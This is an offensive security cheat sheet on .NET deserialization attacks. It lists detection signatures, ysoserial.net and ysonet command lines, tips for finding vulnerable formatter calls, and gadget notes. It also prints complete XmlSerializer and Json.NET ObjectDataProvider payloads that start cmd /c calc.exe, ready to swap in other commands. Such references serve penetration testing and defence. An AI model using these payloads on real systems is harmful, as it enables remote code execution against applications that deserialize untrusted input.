.NET Deserialization

.NET serialization is the process of converting an object’s state into a format that can be easily stored or transmitted, such as XML, JSON, or binary. This serialized data can then be saved to a file, sent over a network, or stored in a database. Later, it can be deserialized to reconstruct the original object with its data intact. Serialization is widely used in .NET for tasks like caching, data transfer between applications, and session state management.

Detection

Data	Description
`AAEAAD` (Hex)	.NET BinaryFormatter
`FF01` (Hex)	.NET ViewState
`/w` (Base64)	.NET ViewState

Example: AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0u[...]0KPC9PYmpzPgs=

Tools

pwntester/ysoserial.net - Deserialization payload generator for a variety of .NET formatters

cat my_long_cmd.txt | ysoserial.exe -o raw -g WindowsIdentity -f Json.Net -s
./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t

irsdl/ysonet - Deserialization payload generator for a variety of .NET formatters

cat my_long_cmd.txt | ysonet.exe -o raw -g WindowsIdentity -f Json.Net -s
./ysonet.exe -p DotNetNuke -m read_file -f win.ini
./ysonet.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
./ysonet.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t

Formatters

.NET Native Formatters from pwntester/attacking-net-serialization

XmlSerializer

In C# source code, look for XmlSerializer(typeof(<TYPE>));.
The attacker must control the type of the XmlSerializer.
Payload output: XML

.\ysoserial.exe -g ObjectDataProvider -f XmlSerializer -c "calc.exe"
<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                    <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc.exe</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>

DataContractSerializer

The DataContractSerializer deserializes in a loosely coupled way. It never reads common language runtime (CLR) type and assembly names from the incoming data. The security model for the XmlSerializer is similar to that of the DataContractSerializer, and differs mostly in details. For example, the XmlIncludeAttribute attribute is used for type inclusion instead of the KnownTypeAttribute attribute.

In C# source code, look for DataContractSerializer(typeof(<TYPE>)).
Payload output: XML
Data Type must be user-controlled to be exploitable

NetDataContractSerializer

It extends the System.Runtime.Serialization.XmlObjectSerializer class and is capable of serializing any type annotated with serializable attribute as BinaryFormatter.

In C# source code, look for NetDataContractSerializer().ReadObject().
Payload output: XML

.\ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "calc.exe" -o base64 -t

LosFormatter

Use BinaryFormatter internally.

.\ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "calc.exe" -o base64 -t

JSON.NET

In C# source code, look for JsonConvert.DeserializeObject<Expected>(json, new JsonSerializerSettings.
Payload output: JSON

.\ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc.exe" -t
{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd', '/c calc.exe']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

BinaryFormatter

The BinaryFormatter type is dangerous and is not recommended for data processing. Applications should stop using BinaryFormatter as soon as possible, even if they believe the data they’re processing to be trustworthy. BinaryFormatter is insecure and can’t be made secure.

In C# source code, look for System.Runtime.Serialization.Binary.BinaryFormatter.
Exploitation requires [Serializable] or ISerializable interface.
Payload output: Binary

./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t

POP Gadgets

These gadgets must have the following properties:

Serializable
Public/settable variables
Magic “functions”: Get/Set, OnSerialisation, Constructors/Destructors

You must carefully select your gadgets for a targeted formatter.

List of popular gadgets used in common payloads.

ObjectDataProvider from C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll
- Use MethodParameters to set arbitrary parameters
- Use MethodName to call an arbitrary function

ExpandedWrapper

Specify the object types of the objects that are encapsulated

ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();

System.Configuration.Install.AssemblyInstaller

Execute payload with Assembly.Load

// System.Configuration.Install.AssemblyInstaller
public void set_Path(string value){
    if (value == null){
        this.assembly = null;
    }
    this.assembly = Assembly.LoadFrom(value);
}